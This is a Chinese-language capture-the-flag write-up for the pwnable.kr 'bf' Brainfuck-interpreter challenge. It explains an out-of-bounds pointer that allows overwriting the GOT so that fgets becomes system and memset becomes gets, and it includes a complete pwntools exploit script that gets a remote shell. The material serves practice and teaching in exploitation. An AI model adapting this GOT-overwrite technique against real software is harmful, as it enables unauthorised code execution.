题目分析
根据题目提示,程序是一个BrainF**k
的解释器,用IDA Pro
静态分析程序,程序结构很简单,如下图:
main函数
do_brainfuck函数
如上图,在do_brainfuck
中可以看到程序一共支持brainf**k
的6种操作>
,<
,+
,-
,.
,,
,具体含义如下表:
操作 | 含义 |
---|---|
> | p += 1 |
< | p -= 1 |
+ | (*p) += 1 |
- | (*p) -= 1 |
. | putchar(*p) |
, | getchar(p) |
注:p
是指向堆空间的一个指针
指针p存在bss段,如下图:
既然这个指针在堆中,那么它距离got表很近,而上述的操作中正好有移动指针的操作,利用>
,<
前后移动指针就可以到达内存中任意区域,再利用.
,,
操作就可以实现对内存的读取与改写。
具体分析后发现指针p指向的区域距离GOT表中最后一个函数putchar
只有112字节,我们很容易实现对GOT表的覆写。
所以这道题目主要考察GOT覆写技术
解题思路
因为最终的目的是要拿到一个shell,所以要想办法构造并执行system("/bin/sh\0")
system
函数可以通过泄露内存得到,而"/bin/sh"
只能从标准输入中得到
程序中有一个fgets
函数,但是fgets
到的字符串用于在do_brainfuck
中覆写GOT表了,所以只能想别的办法找其他可以利用的函数:
这里挑选memset
和fgets
两个函数作为覆写对象正合适,原因如下:
puts函数不好控制参数,第一个参数为固定的字符串
memset的第一个参数正好可以存放我们输入的字符串
"/bin/sh"
- fgets紧随memset,并且第一个参数与memset相同
所以解题的大致思路为:
将menset覆写为gets,从stdin中读入
"/bin/sh\0"
将fgets覆写为system,执行
system("/bin/sh\0")
获取shell
解题过程
泄露putchar函数真实地址
根据题目给的libc计算其他函数真实地址
覆写GOT表中putchar函数为main函数地址
覆写GOT表中fgets函数为system函数地址
覆写GOT表中memset函数为gets函数地址
返回main函数,getshell
Talk is cheap, show me your code. ~ Linus
具体的解题过程直接看代码吧
解题脚本
#!/usr/bin/python
__author__ = "TaQini"
from pwn import *
# context.log_level = 'debug'
# p = process('bf')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('bf_libc.so')
p = remote('pwnable.kr',9001)
def back(n):
return '<'*n
def read(n):
return '.>'*n
def write(n):
return ',>'*n
putchar_got = 0x0804A030
memset_got = 0x0804A02C
fgets_got = 0x0804A010
ptr = 0x0804A0A0
# leak putchar_addr
payload = back(ptr - putchar_got) + '.' + read(4)
# overwrite putchar_got to main_addr
payload += back(4) + write(4)
# overwrite memset_got to gets_addr
payload += back(putchar_got - memset_got + 4) + write(4)
# overwrite fgets_got to system_addr
payload += back(memset_got - fgets_got + 4) + write(4)
# JUMP to main
payload += '.'
p.recvuntil('[ ]\n')
#gdb.attach(p)
p.sendline(payload)
p.recv(1) # junkcode
putchar_libc = libc.symbols['putchar']
gets_libc = libc.symbols['gets']
system_libc = libc.symbols['system']
putchar = u32(p.recv(4))
log.success("putchar = "+ hex(putchar))
gets = putchar - putchar_libc + gets_libc
log.success("gets = " + hex(gets))
system = putchar - putchar_libc + system_libc
log.success("system = " + hex(system))
main = 0x08048671
log.success("main = " + hex(system))
p.send(p32(main))
p.send(p32(gets))
p.send(p32(system))
p.sendline('//bin/sh\0')
p.interactive()
More
这题的关键在于选择合适的函数去覆写,先从大局出发,确定方向,不过细节也很重要,gdb attach
在调试exp过程中起到了很大的作用,还有pwntools的context.log_level = 'debug'
功能。
恩..调试时的耐心也很重要… never give up